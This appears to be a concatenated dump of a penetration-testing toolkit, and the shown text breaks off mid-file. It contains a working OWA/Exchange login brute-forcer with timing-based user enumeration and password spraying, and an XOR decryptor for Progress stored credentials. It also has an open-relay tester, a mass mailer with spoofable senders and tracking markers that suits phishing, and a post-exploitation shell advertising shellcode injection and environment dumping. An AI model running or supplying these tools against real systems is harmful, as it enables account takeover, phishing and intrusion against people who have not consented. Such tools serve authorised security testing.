103 | found = []
104 | foundusers = []
105 |
106 | print('Running against ' + url.geturl())
107 |
108 | if args.info:
109 | # Run NTLM info leak
110 | cmd = "nmap -p" + str(port) + " --script http-ntlm-info --script-args http-ntlm-info.root="+url.path+" "+url.netloc
111 | print(cmd)
112 | os.system( cmd )
113 |
114 | # Attempt time-based username enumeration. Valid users are quicker to respond on MS mail servers
115 | # Inspired by: https://github.com/busterb/msmailprobe
116 | if ( args.user or args.userlist ) and args.enumerate:
117 | userlist = []
118 | enumerated = []
119 | if args.user: userlist.append(args.user)
120 | if args.userlist:
121 | with open( args.userlist, "r" ) as f:
122 | for u in f.read().splitlines():
123 | userlist.append(u)
124 |
125 | # Generate fake usernames
126 | import random, string
127 | fakeusers = []
128 | for i in range(10):
129 | fakeusers.append(''.join(random.choices(string.ascii_lowercase + string.digits, k=10)))
130 |
131 | # Determine an average response time for fake usernames
132 | print('Working out an average response time for invalid usernames...' )
133 | import time, statistics
134 | responsetimes = []
135 | for u in fakeusers:
136 | start = round(time.time() * 1000)
137 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url.geturl(), args.http1_1 )
138 | responsetimes.append(round(time.time() * 1000) - start)
139 | avgresponse = statistics.mean( responsetimes )
140 | print('\nAverage response time:',avgresponse,'ms')
141 |
142 | # Run through each user, compare to average
143 | for u in userlist:
144 | start = round(time.time() * 1000)
145 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url.geturl(), args.http1_1 )
146 | elapsed = round(time.time() * 1000) - start
147 | print('Elapsed:', elapsed)
148 |
149 | # If it's significantly less than average, it's valid. I guess we're hard-coding the significance!
150 | if elapsed < (avgresponse * 0.77):
151 | enumerated.append( u )
152 | print("[+] " + u )
153 | else:
154 | print("[-] " + u )
155 |
156 | print('Finished enumeration.')
157 | if len( enumerated ) > 0:
158 | print( 'Valid users:\n\n' + '\n'.join(enumerated))
159 | else:
160 | print( 'No valid users found :(' )
161 |
162 | if (( args.user or args.userlist ) and ( args.password or args.passlist )) or args.credslist:
163 |
164 | # Check user
165 | if args.userlist and not os.path.isfile(args.userlist):
166 | print('Couldn\'t find ' + args.userlist)
167 | parser.print_usage()
168 | sys.exit(2)
169 |
170 | # Check password
171 | if args.passlist and not os.path.isfile(args.passlist):
172 | print('Couldn\'t find ' + args.passlist)
173 | parser.print_usage()
174 | sys.exit(2)
175 |
176 | # Check user
177 | if args.credslist and not os.path.isfile(args.credslist):
178 | print('Couldn\'t find ' + args.credslist)
179 | parser.print_usage()
180 | sys.exit(2)
181 |
182 | if args.passlist:
183 | print("Password list")
184 | fp = open( args.passlist, "r" )
185 |
186 | if args.user:
187 | if args.same:
188 | test_login( args.user, args.user, url.geturl(), args.http1_1 )
189 | if args.blank:
190 | test_login( args.user, '', url.geturl(), args.http1_1 )
191 | elif args.userlist:
192 | fu = open( args.userlist, "r" )
193 | for u in fu:
194 | # Loop over blank / same for when multiple passes and users
195 | if args.same:
196 | test_login( u, u, url.geturl(), args.http1_1 )
197 | if args.blank:
198 | test_login( u, '', url.geturl(), args.http1_1 )
199 | fu.close()
200 |
201 | for p in fp:
202 | if args.userlist:
203 | fu = open( args.userlist, "r" )
204 | for u in fu:
205 | # many users, many passwords
206 | test_login( u, p, url.geturl(), args.http1_1 )
207 | fu.close()
208 | else:
209 | # One user, many passwords
210 | test_login( args.user, p, url.geturl(), args.http1_1 )
211 | fp.close()
212 | elif args.userlist:
213 | print("User list")
214 | fu = open( args.userlist, "r" )
215 | for u in fu:
216 | # Many users, one password
217 | test_login( u, args.password, url.geturl(), args.http1_1 )
218 | if args.same:
219 | test_login( u, u, url.geturl(), args.http1_1 )
220 | if args.blank:
221 | test_login( u, '', url.geturl(), args.http1_1 )
222 | fu.close()
223 | elif args.credslist:
224 | print('Creds list')
225 | fp = open( args.credslist, "r" )
226 | for line in fp:
227 | line = line.strip()
228 | if line == '':
229 | continue
230 | creds = line.split(':')
231 | if len( creds ) < 2:
232 | print('No username / pass combination in: ' + line)
233 | continue
234 | test_login(creds[0], ':'.join(creds[1:]), url.geturl(), args.http1_1)
235 | else:
236 | # One user, one password
237 | print("Single user / password")
238 | if args.blank:
239 | test_login( args.user, '', url.geturl(), args.http1_1 )
240 | if args.same:
241 | test_login( args.user, args.user, url.geturl(), args.http1_1 )
242 | test_login( args.user, args.password, url.geturl(), args.http1_1 )
243 |
244 | show_found()
245 |
246 | print("Done")
247 |
--------------------------------------------------------------------------------
/progress_decrypt.py:
--------------------------------------------------------------------------------
1 | # Decrypt prowin32.exe ASCII hex username / passwords that are "encrypted" when passed as startup parameters.
2 | # usage: python progress_decrypt.py oech1::deadbeefcafe
3 |
4 | # This will do the same thing:
5 | # https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':'PROGRESS'%7D,'Standard',false)
6 |
7 | import sys
8 |
9 | def decrypt( src ):
10 | return do_crypto( bytearray.fromhex(src) )
11 |
12 | def do_crypto( src ):
13 | key_bytes = bytes('PROGRESS', 'utf-8')
14 | key_len = len(key_bytes)
15 | src_len = len( src )
16 | dest_bytes = []
17 | key_ct = 0
18 |
19 | for ct in range(0, src_len ):
20 | if key_ct >= key_len:
21 | key_ct = 0
22 | dest_bytes.append( src[ct] ^ key_bytes[key_ct] )
23 | key_ct += 1
24 | return bytearray(dest_bytes).decode('utf-8');
25 |
26 | src = sys.argv[1]
27 | if src.startswith('oech1::'):
28 | src = src.split(':')[3]
29 |
30 | print( decrypt( src ) )
31 |
32 |
--------------------------------------------------------------------------------
/relaysend.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Test if an SMTP service supports open relay
3 |
4 | import argparse, sys, smtplib, datetime, re
5 | from email.mime.multipart import MIMEMultipart
6 | from email.mime.text import MIMEText
7 | from email.mime.image import MIMEImage
8 |
9 |
10 | parser = argparse.ArgumentParser(description="Test if an SMTP service supports open relay")
11 | parser.add_argument("-t", "--toheader", help="To address")
12 | parser.add_argument("-f", "--fromheader", help="From address")
13 | parser.add_argument("-c", "--ccheader", help="CC address")
14 | parser.add_argument("-g", "--host", help="SMTP host")
15 | parser.add_argument("-p", "--port", help="SMTP port")
16 | parser.add_argument("-m", "--message", help="An optional message to append to the generated email")
17 | args = parser.parse_args()
18 |
19 | if not args.toheader or not args.fromheader or not args.host:
20 | parser.print_usage()
21 | sys.exit(2)
22 |
23 | print('From: ', args.fromheader)
24 | print('To: ', args.toheader)
25 | print('CC: ', args.ccheader)
26 | print('Host: ', args.host)
27 | if args.message:
28 | print('Message: ', args.message)
29 |
30 | msg = MIMEMultipart()
31 |
32 | # Compile header
33 | msg["From"] = args.fromheader
34 | msg["To"] = args.toheader
35 | msg["Cc"] = args.ccheader
36 | msg["Subject"] = "Relayed mail from " + args.host
37 |
38 | # Compile body
39 | html = "This email has been sent via an open relay at "+args.host+"
"
40 | if args.message:
41 | html += "" + args.message + "
"
42 | msgText = MIMEText( html, "html" )
43 | msg.attach(msgText)
44 |
45 | # Send email
46 | server = smtplib.SMTP(args.host,args.port)
47 | server.set_debuglevel(1)
48 | try:
49 | server.starttls()
50 | except:
51 | print('Server doesn\'t support STARTTLS')
52 | server.sendmail( args.fromheader, args.toheader, msg.as_string() )
53 | server.quit()
54 |
55 | print('Done')
56 |
57 |
--------------------------------------------------------------------------------
/scr:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Screenshot OCR tool
3 | # requires: imagemagick, tesseract-ocr
4 | # recommended to be installed with incron
5 | # e.g. /home/iain/working/screenshots IN_CLOSE_WRITE /home/iain/bin/scr ocr $@/$#
6 |
7 | op=$1
8 | defaultfolder="${HOME}/working/screenshots"
9 | convertpattern='s/\/\./\//g; s/\.txt\(:\|$\)/\1/'
10 |
11 | if [ -n "$2" ]; then
12 | folder=$2
13 | else
14 | folder=$defaultfolder
15 | fi
16 |
17 | case $op in
18 | ocr)
19 | # OCR an image
20 | # text saved in hidden file next to image
21 |
22 | fn=$2
23 | txt=$(dirname "$fn")/.$(basename "$fn")
24 |
25 | echo "Doing OCR on $fn..."
26 |
27 | if [ -f "$txt.txt" ]; then
28 | echo "Already got a txt file"
29 | exit 1
30 | fi
31 |
32 | fnnocase=$(echo "$fn" | tr A-Z a-z)
33 |
34 | if [[ ! $fnnocase =~ \.(png|jpe?g)$ ]] || [[ $fn =~ \.lg\.png$ ]]; then
35 | echo "Not a screenshot"
36 | exit 1
37 | fi
38 |
39 |
40 | # Increase size to improve OCR accuracy
41 | convert -limit memory 8000MB -modulate 100,0 -resize 400% "$fn" "$fn.lg.png"
42 |
43 | # OCR to text file
44 | tesseract "$fn.lg.png" "$txt"
45 |
46 | # Write text to file metadata
47 | exiftool -overwrite_original -comment="$(cat "$txt.txt")" "$fn"
48 | exiftool -overwrite_original -Caption-Abstract="$(cat "$txt.txt")" "$fn"
49 |
50 | # Delete large version
51 | rm "$fn.lg.png"
52 | ;;
53 |
54 | ocrall|oa)
55 | # OCR all images in the given dir
56 | ls "$folder" | while read f; do $0 ocr "$folder/$f"; done
57 | ;;
58 |
59 | search|s)
60 | # Find txt in a screenshot dir
61 | search=$2
62 | grep -d skip -i "$search" "$folder"/.* | sed "$convertpattern" 2>/dev/null
63 | ;;
64 |
65 | open|o)
66 | # Open each matching image
67 | $0 search "$2" "$folder" | cut -d: -f 1 | sort -u | while read f; do xdg-open "$f"; done
68 | ;;
69 |
70 | cat|c)
71 | # Dump out all text for matching images
72 | grep -l -d skip -i "$2" "$folder"/.* | sort -u | while read f; do echo $f | sed "$convertpattern"; cat $f; done 2>/dev/null
73 | ;;
74 |
75 | figure|fig|f)
76 | # Output base64 encoded HTML figures of each image matching
77 | $0 search "$2" "$folder" | cut -d: -f 1 | sort -u | while read f;
78 | do
79 | mimetype=$(file -bN --mime-type "$f")
80 | content=$(base64 -w0 < "$f")
81 | echo "\n
\n: \n\n"
82 | done
83 | esac
84 |
--------------------------------------------------------------------------------
/sendmails.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Send an HTML email to all addresses in a txt file
3 |
4 | import argparse, sys, smtplib, datetime, re, os, random, base64, time, subprocess, csv, uuid # , html2text
5 | from email import encoders
6 | from email.mime.base import MIMEBase
7 | from email.mime.application import MIMEApplication
8 | from email.mime.multipart import MIMEMultipart
9 | from email.mime.text import MIMEText
10 | from email.mime.image import MIMEImage
11 |
12 | varnames = ['email','name','fname','lname','user']
13 | markers = []
14 | markers.extend(varnames)
15 | markers.extend(['date','b64email','b64remail','randomint'])
16 |
17 |
18 | class Sendmails:
19 |
20 | host = None
21 | port = None
22 | ews = None
23 | username = None
24 | password = None
25 | recipients = []
26 | html = None
27 | dtformat = None
28 | text = None
29 | subject = None
30 | fromheader = None
31 | readreceipt = None
32 | headers = []
33 | delay = None
34 | reconnect = None
35 | attachments = []
36 | execute = []
37 | templates = []
38 | server = None
39 | session = None
40 | emailindex = 1
41 | debug = False
42 |
43 | # Connect to SMTP server
44 | def connect( self ):
45 | if self.ews:
46 | return True
47 | print('Getting new connection...')
48 | if not self.host:
49 | self.server = smtplib.SMTP('localhost')
50 | else:
51 | self.server = smtplib.SMTP(self.host, self.port)
52 | if self.debug: self.server.set_debuglevel(1)
53 | try:
54 | self.server.starttls()
55 | except:
56 | print('Server doesn\'t support STARTTLS')
57 | self.server.ehlo()
58 | if self.username and self.password:
59 | self.server.login(self.username, self.password)
60 | return True
61 |
62 | def disconnect( self ):
63 | if self.ews:
64 | return True
65 | self.server.quit()
66 |
67 | def run( self ):
68 |
69 | # Connect
70 | self.connect()
71 |
72 | randomints = False
73 | intsfile = "randomints.txt"
74 | count = 0
75 |
76 | # Loop over emails
77 | for variables in self.recipients:
78 | e = Email( variables )
79 | e.subject = self.subject
80 | e.fromheader = self.fromheader
81 | e.variables['dtformat'] = self.dtformat
82 | e.readreceipt = self.readreceipt
83 | e.addtext = self.addtext
84 | e.attachments = self.attachments
85 |
86 | # Other custom headers
87 | for h in self.headers:
88 | k,v = h.split(':')
89 | e.headers[k.strip()] = v.strip()
90 |
91 | # Set email body
92 | if self.html:
93 | e.html = self.html
94 | if self.text:
95 | e.text = self.text
96 | if self.templates:
97 | tmpl = self.templates[count%len(self.templates)]
98 | e.html = tmpl['content']
99 | print('Using template: ' + tmpl['name'])
100 |
101 | e = self.compile( e )
102 |
103 | if e.usesrandomint:
104 | fp = open(intsfile,"a")
105 | fp.write(e.variables['email'] + ":" + str(e.randomint)+'\n' )
106 | fp.close()
107 | randomints = True
108 |
109 | # Send email
110 | self.send( e )
111 |
112 | if self.delay:
113 | time.sleep(self.delay)
114 | count += 1
115 | if count % int(self.reconnect) == 0:
116 | self.connect()
117 |
118 | self.disconnect()
119 |
120 | if randomints:
121 | print("Assigned random ints saved to " + intsfile)
122 |
123 |
124 | def compile( self, email ):
125 | if self.execute:
126 | parts = []
127 | for x in self.execute:
128 | x = email.compile_string(x)
129 | parts.append(x)
130 | print('Running: ' + ' '.join(parts))
131 | print(subprocess.check_output(parts))
132 |
133 | # Compile header
134 | email.subject = email.compile_string(email.subject)
135 |
136 | # Compile bodies
137 | if email.html:
138 | email.html = email.compile_string( email.html )
139 | if email.text:
140 | email.text = email.compile_string( email.text )
141 | else:
142 | email.text = '' # html2text.html2text( email.html )
143 | return email
144 |
145 | def send( self, email ):
146 | status = "[" + str(self.emailindex) + "/" + str(len(self.recipients))+ "] Sending to " + email.variables['email']
147 | if email.usesrandomint: status += " (randomint: "+str(email.randomint)+")"
148 | status += "... "
149 | sys.stdout.write( status )
150 | self.emailindex += 1
151 | sys.stdout.flush()
152 | if self.ews:
153 | self.send_ews( email )
154 | else:
155 | self.send_smtp( email )
156 | sys.stdout.write( "sent ["+datetime.datetime.today().strftime('%Y-%m-%d %H:%M:%S')+"]\n" )
157 | sys.stdout.flush()
158 |
159 | def send_smtp( self, email ):
160 | if not self.server:
161 | self.connect()
162 | msg = email.get_mimemultipart()
163 | try:
164 | self.server.sendmail( email.fromheader, email.variables['email'], msg.as_string() )
165 | except:
166 | if self.delay:
167 | time.sleep(self.delay)
168 | send_smtp( email )
169 | return True
170 |
171 | def send_ews( self, email ):
172 | from exchangelib import Account, Message, Mailbox, FileAttachment, HTMLBody, Credentials, Configuration, NTLM, DELEGATE
173 | creds = Credentials(self.username,self.password)
174 | config = Configuration(
175 | service_endpoint=self.ews,
176 | credentials=creds,
177 | auth_type=NTLM
178 | )
179 | account = Account(
180 | primary_smtp_address=self.username,
181 | config=config,
182 | autodiscover=False,
183 | access_type=DELEGATE,
184 | )
185 | m = email.get_ewsmessage( account )
186 | m.send()
187 | return False
188 |
189 | class Email:
190 | variables = {}
191 | toheader = None
192 | fromheader = None
193 | subject = None
194 | html = None
195 | text = None
196 | addtext = False
197 | randomint = None
198 | usesrandomint = False
199 | readreceipt = None
200 | attachments = []
201 | headers = {}
202 |
203 | def __init__( self, variables ):
204 | self.toheader = variables['email']
205 | msg = MIMEMultipart()
206 | self.randomint = random.randint(1,9999999)
207 | self.variables = {}
208 |
209 | for k,v in variables.items():
210 | self.variables[k] = v
211 |
212 | namematch = re.compile( r'\w{2,}\.\w{2,}' )
213 | self.variables['email'] = self.toheader.strip()
214 | self.variables['user'] = self.variables['email'].split('@')[0]
215 | if 'name' not in list(self.variables.keys()) or self.variables['name'] == '':
216 | if namematch.match( self.variables['user'] ):
217 | self.variables['name'] = self.variables['user'].replace("."," ").title()
218 | else:
219 | self.variables['name'] = ''
220 |
221 | if len(self.variables['name'].split(' ')) >= 2:
222 | if 'fname' not in list(self.variables.keys()): self.variables['fname'] = self.variables['name'].split(' ')[0]
223 | if 'lname' not in list(self.variables.keys()): self.variables['lname'] = self.variables['name'].split(' ')[1]
224 | else:
225 | if 'fname' not in list(self.variables.keys()): self.variables['fname'] = ''
226 | if 'lname' not in list(self.variables.keys()): self.variables['lname'] = ''
227 |
228 | # print( self.variables )
229 |
230 | # Switch out place markers for variables
231 | def compile_string( self, txt ):
232 | for name,val in self.variables.items():
233 | if type(val) == None: continue
234 | txt = txt.replace('{'+name+'}', str(val) )
235 |
236 | txt = txt\
237 | .replace("{date}",datetime.datetime.today().strftime(self.variables['dtformat']))\
238 | .replace("{b64email}",base64.b64encode(self.variables['email'].encode('utf-8')).decode('utf8'))\
239 | .replace("{b64remail}",base64.b64encode(self.variables['email'].encode('utf-8')).decode('utf8')[::-1])
240 |
241 | if re.search('{randomint}', txt ):
242 | txt = txt.replace("{randomint}",str(self.randomint))
243 | self.usesrandomint = True
244 | return txt
245 |
246 | def get_mimemultipart( self ):
247 | msg = MIMEMultipart()
248 | msg['From'] = self.fromheader
249 | msg['To'] = self.toheader
250 | msg['Subject'] = self.subject
251 | if self.readreceipt:
252 | msg["Disposition-Notification-To"] = self.readreceipt
253 | for k,v in self.headers:
254 | msg[k] = v
255 |
256 | msgid = re.sub(r'[^@]+@',str(uuid.uuid4()) + '@',self.fromheader)
257 | msgid = re.sub(r'>$','',msgid)
258 | msgid = '<' + msgid + '>'
259 | for k in ['messageId','Message-ID']:
260 | if k not in msg.keys():
261 | msg[k] = msgid
262 |
263 | if self.html:
264 | msg.attach(MIMEText( self.html, "html" ))
265 | # if self.text:
266 | # msg.attach(MIMEText(html2text.html2text(self.text),'plain'))
267 |
268 | # Find any embedded images and attach
269 | attachments = re.findall( 'src="cid:([^"]+)"', self.html )
270 | for attachment in attachments:
271 | fp = open( attachment, "rb" )
272 | img = MIMEImage(fp.read())
273 | fp.close()
274 | img.add_header('Content-ID', attachment )
275 | msg.attach(img)
276 |
277 | # Optional attachment
278 | for a in self.attachments:
279 | filename = os.path.basename( a )
280 | part = MIMEBase('application', "octet-stream")
281 | part.set_payload(open(a, "rb").read())
282 | encoders.encode_base64(part)
283 | part.add_header('Content-Disposition', 'attachment; filename="'+filename+'"')
284 | msg.attach(part)
285 |
286 | return msg
287 |
288 | def get_ewsmessage( self, account ):
289 | from exchangelib import Account, Message, Mailbox, FileAttachment, HTMLBody, Credentials, Configuration, NTLM, DELEGATE
290 | m = Message(
291 | account=account,
292 | subject=self.subject,
293 | body=HTMLBody(self.html),
294 | to_recipients=[self.toheader]
295 | )
296 | if self.readreceipt:
297 | m.is_read_receipt_requested = True
298 |
299 | if len( self.headers ) > 0:
300 | print('Custom mail headers not currently supported in EWS mode')
301 | # for k,v in self.headers:
302 | # This is fiddly, not enabled yet
303 |
304 | # Find any embedded images and attach
305 | attachments = re.findall( 'src="cid:([^"]+)"', self.html )
306 | for attachment in attachments:
307 | a = FileAttachment(
308 | name=attachment,
309 | content=open(attachment, "rb").read(),
310 | is_inline=True,
311 | content_id=attachment
312 | )
313 | m.attach(a)
314 |
315 | # Optional attachment
316 | for attachment in self.attachments:
317 | a = FileAttachment(
318 | name=attachment,
319 | content=open(attachment, "rb").read()
320 | )
321 | m.attach(a)
322 | return m
323 |
324 | def main():
325 | parser = argparse.ArgumentParser(description="Send emails with various helpful options")
326 | parser.add_argument("-e", "--emails", help="File containing list of email addresses")
327 | parser.add_argument("-E", "--email", help="Single email address to send to")
328 | parser.add_argument("--csv", help="CSV file of email addresses with headers containing at least 'email' and optionally also: '"+"', '".join(varnames)+"'")
329 | parser.add_argument("-b", "--body", help="File containing HTML body of email, can contain template markers to be replaced with each email sent: {"+"}, {".join(markers)+"}")
330 | parser.add_argument("-B", "--bodydir", help="Directory containing any number of .html files which will be cycled through (different template for each email) to act as the body template")
331 | parser.add_argument("--dtformat", default="%d/%m/%Y", help="Format string for using when substituting {date} in templates")
332 | parser.add_argument("-t", "--text", action="store_true", help="Add a plain text part to the email converted from the HTML body (use if the target mail client doesn't display HTML inline, e.g. IBM Notes might not)")
333 | parser.add_argument("-T", "--textfile", help="Add a plain text part to the email taken from the specified text file")
334 | parser.add_argument("-s", "--subject", help="Subject line of email")
335 | parser.add_argument("-f", "--fromheader", help="From address (address or 'name ')")
336 | parser.add_argument("-r", "--readreceipt", help="Read receipt address (same format as from/to headers")
337 | parser.add_argument("-H", "--header", action="append", help="Add any number of custom headers")
338 | parser.add_argument("-g", "--host", help="SMTP host")
339 | parser.add_argument("-P", "--port", help="SMTP port")
340 | parser.add_argument("-u", "--username", help="SMTP / EWS username")
341 | parser.add_argument("-p", "--password", help="SMTP / EWS password")
342 | parser.add_argument("--ews", help="URL to EWS endpoint (e.g. https://owa.example.com/EWS/Exchange.asmx)")
343 | parser.add_argument("-d", "--delay", help="Delay between mail sends (seconds)")
344 | parser.add_argument("--reconnect", default=5, type=int, help="Reconnect to SMTP host after this many email sends")
345 | parser.add_argument("-a", "--attachment", help="Filename to add as an attachment")
346 | parser.add_argument("-x", "--execute", action="append", help="Execute this command before sending each email (stack to create complex commands, e.g. -x 'script.sh' -x 'Email:{email}')")
347 | parser.add_argument("--debug", action="store_true", help="Output debug info")
348 | args = parser.parse_args()
349 |
350 | if not ( args.body or args.bodydir or args.textfile ) or not args.subject or ( not args.ews and not args.fromheader):
351 | parser.print_usage()
352 | sys.exit(2)
353 |
354 | if not args.emails and not args.email and not args.csv:
355 | parser.print_usage()
356 | sys.exit(2)
357 |
358 | sender = Sendmails()
359 | sender.debug = args.debug
360 |
361 | if args.host and not args.port:
362 | args.port = 587
363 | sender.port = args.port
364 | sender.host = args.host
365 | print('SMTP server:', args.host + ':' + str( args.port ) )
366 | if args.ews:
367 | sender.ews = args.ews
368 | if args.fromheader:
369 | print('NOTE: The "From:" header can\'t be spoofed over EWS')
370 |
371 | if args.text or args.textfile:
372 | print('NOTE: EWS methods are currently HTML only')
373 |
374 | if args.dtformat: sender.dtformat = args.dtformat
375 | sender.reconnect = args.reconnect
376 |
377 | sender.username = args.username
378 | sender.password = args.password
379 |
380 | if args.delay:
381 | args.delay = int( args.delay )
382 | sender.delay = args.delay
383 |
384 | if args.attachment:
385 | if not os.path.isfile(args.attachment):
386 | print('Path to attachment ' + args.attachment + ' not found')
387 | else:
388 | sender.attachments.append( args.attachment )
389 |
390 | sender.execute = args.execute
391 |
392 | if args.emails:
393 | emailsfile = args.emails
394 | print('Emails file: ', emailsfile)
395 | elif args.email:
396 | print('Email: ', args.email)
397 | elif args.csv:
398 | print('CSV: ', args.csv)
399 |
400 |
401 | # Dictionary specific to an email
402 | variables = {}
403 |
404 | sender.subject = args.subject
405 | sender.fromheader = args.fromheader
406 |
407 | if args.body:
408 | print('Body text file: ', args.body)
409 | if args.textfile:
410 | print('Flat text file: ', args.textfile)
411 | print('Subject: ', args.subject)
412 | print('From: ', args.fromheader)
413 |
414 | attachmentmatch = re.compile( 'src="cid:([^"]+)"' )
415 |
416 | # Read in body
417 | if args.body:
418 | with open (args.body,"r",encoding="utf8",errors="ignore") as file:
419 | html = file.read() # .replace('\n','')
420 | else:
421 | html = None
422 | sender.html = html
423 |
424 | # Read in array of bodies
425 | templates = None
426 | if args.bodydir:
427 | bd = os.path.expanduser(args.bodydir)
428 | if not os.path.isdir( bd ):
429 | print("FAIL: " + bd + " doesn't exist")
430 | files = [f for f in os.listdir(bd) if os.path.isfile(os.path.join(bd,f))] # and (re.match('.+\.html$',f) != None ))]
431 | files = [f for f in files if re.match(r'.+\.html$',f) != None]
432 | files.sort()
433 | templates = []
434 | for fn in files:
435 | fn = os.path.join(bd,fn)
436 | with open(fn,'r') as f:
437 | templates.append({'name':fn,'content':f.read()})
438 |
439 | if len( templates ) == 0:
440 | print('FAIL: No html files found in ' + bd)
441 | sender.templates = templates
442 |
443 | # Read in flat text
444 | if args.textfile:
445 | sender.addtext = True
446 | with open(args.textfile,'r') as f:
447 | text = f.read()
448 | else:
449 | text = None
450 | sender.addtext = args.text
451 | sender.text = text
452 |
453 | # Read in emails
454 | recipients = []
455 | if args.csv:
456 | with open(args.csv, 'r') as csvfile:
457 | csvreader = csv.DictReader(csvfile)
458 | for row in csvreader:
459 | for k in list(row.keys()):
460 | if k not in markers: markers.append(k)
461 | if 'email' not in list(row.keys()): continue
462 | recipients.append( row )
463 |
464 | elif args.emails:
465 | with open(emailsfile) as f:
466 | emails = f.readlines()
467 | for email in emails:
468 | email = email.strip()
469 | recipients.append({'email':email})
470 | else:
471 | recipients.append({'email':args.email})
472 | sender.recipients = recipients
473 | sender.run()
474 |
475 | if __name__ == "__main__":
476 | main()
477 |
478 |
--------------------------------------------------------------------------------
/shell.py:
--------------------------------------------------------------------------------
1 | import os, sys, tempfile
2 |
3 |
4 | # Set python home to a path we can definitely write to so we can do pip installs
5 | pythondir = os.path.join(tempfile.gettempdir(),'python' + str( sys.version_info[0] ))
6 | downloadsdir = os.path.join(tempfile.gettempdir(),'downloads')
7 |
8 | if sys.version_info[0] == 2: input = raw_input
9 |
10 | print('pythondir',pythondir)
11 | try:
12 | importdir = os.path.join( pythondir, 'lib', 'site-packages' )
13 | cachedir = os.path.join(pythondir,'cache')
14 | logfile = os.path.join(tempfile.gettempdir(),'shell.log')
15 |
16 | if 'PYTHONHOME' not in os.environ: os.environ['PYTHONHOME'] = ''
17 | os.environ['PYTHONHOME'] += ';.;' + pythondir + ';' + importdir
18 | sys.path.append(importdir)
19 | sys.path.append('.')
20 | open_ports = []
21 | except Exception as e:
22 | print(e)
23 |
24 | # These ones should all work
25 | try:
26 | import subprocess,shutil,base64,re,getpass,fnmatch,time,getopt,socket
27 | except Exception as e:
28 | print( e )
29 |
30 | # Support for multithreading
31 | try:
32 | import threading,queue
33 | except Exception as e:
34 | print( e )
35 | print('No multithreading support :( nmap will be slow')
36 |
37 | # CIDR parsing
38 | try:
39 | import ipaddress
40 | except Exception as e:
41 | print( e )
42 | print('No IP address module - unable to parse CIDR notation')
43 |
44 | # Package management
45 | try:
46 | import pip
47 | except Exception as e:
48 | print( e )
49 | print('No pip - install won\'t work')
50 |
51 | # Web requests
52 | try:
53 | from urllib.request import urlopen
54 | except Exception as e:
55 | print( e )
56 | try:
57 | from urllib import urlopen
58 | except Exception as f:
59 | print( f )
60 | print('No urlopen - wget won\'t work')
61 |
62 | # Processes
63 | try:
64 | import psutil
65 | except Exception as e:
66 | print( e )
67 | print('No psutil - ps, ifconfig and netstat won\'t work')
68 |
69 | # Windows kernel
70 | try:
71 | from ctypes import *
72 | except Exception as e:
73 | print( e )
74 | print('No ctypes - inject won\'t work')
75 |
76 | commands = {
77 | 'help': 'Show help',
78 | 'info': 'Show info about current system',
79 | 'cd': 'Change current working dir',
80 | 'ls': 'List files / folders',
81 | 'cat': 'Output a file to stdout',
82 | 'bat': 'base64 output a file to stdout',
83 | 'cp': 'Copy a file / folder',
84 | 'mv': 'Move a file / folder',
85 | 'rm': 'Delete a file / folder',
86 | 'exec': 'Execute a system command / binary',
87 | 'edit': 'Open the OS editor on a file',
88 | 'grep': 'Recursive grep for a regex (equivalent to `grep -ori `)',
89 | 'python': 'Run the python interpreter against a file',
90 | 'eval': 'Evaluate some python code',
91 | 'install': 'pip install a module',
92 | 'find': 'Recursive find for a glob filename',
93 | 'wget': 'Download a file to cwd',
94 | 'nmap': 'Basic multithreaded TCP port scanner',
95 | 'ps': 'List running processes',
96 | 'netstat': 'List network connections',
97 | 'ifconfig': 'Print network interfaces',
98 | 'inject': 'Inject shellcode into a process id'
99 | }
100 |
101 | def shell():
102 | print('Starting shell')
103 | out = do_info([])
104 | print( out )
105 | log( 'info', out )
106 | print('Type `help` for all commands available')
107 | print('Logging all commands and output to ' + logfile)
108 | while True:
109 | try:
110 | cmd = input(os.getcwd() + "> ").strip()
111 | out = parse_command( cmd )
112 | if out: print( out )
113 | except Exception as e:
114 | print("FAILED:",cmd, e)
115 | out = str(e)
116 | log( cmd, out )
117 |
118 | def log( command, output ):
119 | if not output: output = ''
120 | try:
121 | with open( logfile,'a') as f:
122 | f.write('\nCWD: '+os.getcwd()+'\nIN: '+command+'\nOUT: '+output)
123 | except:
124 | pass
125 |
126 | def parse_command( cmd ):
127 | parts = cmd.split(' ')
128 | command = parts[0].strip()
129 | if len( command ) == 0: return
130 | if command in commands:
131 | try:
132 | out = globals()['do_'+command](parts)
133 | except Exception as e:
134 | print('Running ' + command + ' failed:',e)
135 | out = ''
136 |
137 | else:
138 | out = ''
139 | print('Don\'t know how to ' + command)
140 | return out
141 |
142 | def resolve_path( parts ):
143 | if len( parts ) < 2:
144 | d = os.getcwd()
145 | elif parts[1].startswith('/'):
146 | d = ' '.join(parts[1:]).strip()
147 | else:
148 | d = os.path.join( os.getcwd(), os.path.join(' '.join(parts[1:]).strip()) )
149 | print(d)
150 | return d
151 |
152 | def do_help( parts ):
153 | for k,v in commands.items():
154 | print(k.ljust(10)+': '+v)
155 |
156 | def do_info( parts ):
157 | colwidth = 20
158 |
159 |
160 | rtn = 'Python'.ljust(colwidth) + ': ' + sys.version + '\n'
161 |
162 | # whoami
163 | rtn += 'User'.ljust(colwidth)+': ' + getpass.getuser() + '@' + socket.gethostname() + '\n'
164 |
165 | # Env vars
166 | rtn += '\nEnvironment Variables:\n'
167 | for k,v in os.environ.items():
168 | rtn += k.ljust(colwidth) + ': ' + v + '\n'
169 | return rtn
170 |
171 | def do_cd( parts ):
172 | if len( parts ) < 2:
173 | os.chdir(os.path.dirname(__file__))
174 | else:
175 | os.chdir(' '.join(parts[1:]))
176 |
177 | def do_ls( parts ):
178 | d = resolve_path( parts )
179 | rtn = ''
180 | for f in os.listdir( d ):
181 | fn = os.path.join( d, f )
182 | if os.path.isfile( fn ):
183 | rtn += '\n' + str(os.path.getsize( fn )).rjust(10)
184 | else:
185 | rtn += '\n' + 'd'.rjust(10)
186 | rtn += ' ' + time.ctime( os.path.getmtime(fn) ) + ' ' + f
187 | return rtn
188 |
189 | def do_cat( parts ):
190 | d = resolve_path( parts )
191 | with open( d, 'r' ) as f:
192 | return f.read()
193 |
194 | def do_bat( parts ):
195 | d = resolve_path( parts )
196 | with open( d, 'rb' ) as f:
